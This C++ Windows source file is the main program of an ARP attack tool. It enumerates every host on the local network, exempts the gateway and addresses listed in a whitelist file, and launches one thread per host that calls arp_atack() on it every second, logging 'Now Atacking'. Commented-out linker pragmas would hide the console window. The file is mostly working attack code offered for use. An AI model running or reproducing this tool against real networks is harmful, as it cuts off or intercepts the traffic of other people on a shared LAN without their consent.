#include <iostream>
#include <vector>
#include <algorithm>
#include <stdlib.h>
#include <Winsock2.h>
#include "arp.h"
#include "get_all_host_in_LAN.h"
#include "sgcGetDir.h"

//#pragma comment (linker, "/ENTRY:mainCRTStartup")
//#pragma comment (linker, "/subsystem:windows")

using namespace std;

std::vector<unsigned int> all_ui_ip_addr, white_list_ui_ip_addr;
const DWORD time_interval = 1000;
std::vector<DWORD> time;

static CRITICAL_SECTION g_cs;

DWORD WINAPI ThreadProc(PVOID pParam)
{
	unsigned int i = *((unsigned int *)pParam);
	unsigned int ui_ip_addr = all_ui_ip_addr[i];
	while(true)
	{
		if(GetTickCount()-time[i] > time_interval)
		{
			std::vector<unsigned int>::iterator j = std::find(white_list_ui_ip_addr.begin(), white_list_ui_ip_addr.end(), ui_ip_addr);
			if(j == white_list_ui_ip_addr.end())
			{
				EnterCriticalSection(&g_cs);
				arp_atack(ui_ip_addr, 2);
				in_addr ip_addr;
				ip_addr.s_addr = ui_ip_addr;
				std::cout << "Now Atacking         " << inet_ntoa(ip_addr) << std::endl << std::endl;
				LeaveCriticalSection(&g_cs);
				time[i] = GetTickCount();
			}
			else
			{
				EnterCriticalSection(&g_cs);
				in_addr ip_addr;
				ip_addr.s_addr = ui_ip_addr;
				std::cout << "In White List        " << inet_ntoa(ip_addr) << std::endl << std::endl;
				LeaveCriticalSection(&g_cs);
				time[i] = GetTickCount();
			}
		}
		else
		{
			Sleep(time_interval-GetTickCount()+time[i]);
		}
	}
	return 0;
}

int main(int argn, char *arg[])
{
	unsigned int host_ip_addr, host_mask_addr, gateway_ip_addr;
	get_host_IPAddress(host_ip_addr);
	get_host_IPMask(host_mask_addr);
	gateway_ip_addr = host_ip_addr & host_mask_addr | 0x01000000;
	white_list_ui_ip_addr.push_back(gateway_ip_addr);

	FILE *fp;
	char fileName[256];
	sgcGetCurrentDir(fileName, 256);
	sprintf(fileName, "%s\\white list.lis", fileName);
	fp = fopen(fileName, "r");
	unsigned char white_ip_addr2[] = "192.168.000.000";
	while(fgets((char *)white_ip_addr2, sizeof(white_ip_addr2), fp))
		white_list_ui_ip_addr.push_back(inet_addr((char *)white_ip_addr2));
	fclose(fp);

	get_all_possible_IP_in_LAN(all_ui_ip_addr);
	for(unsigned int i=0; i<all_ui_ip_addr.size(); i++)
		time.push_back(0);

	unsigned int *arr_i = new unsigned int[all_ui_ip_addr.size()];

	InitializeCriticalSection(&g_cs);
	for(unsigned int i=0; i<all_ui_ip_addr.size(); i++)
	{
		arr_i[i] = i;
		CreateThread(NULL, 0, ThreadProc, &(arr_i[i]), 0, NULL);
		//Sleep(1000);
	}
	
	while(true)
		Sleep(0xffffffff);

	delete []arr_i;

	system("pause");
	return 0;
}
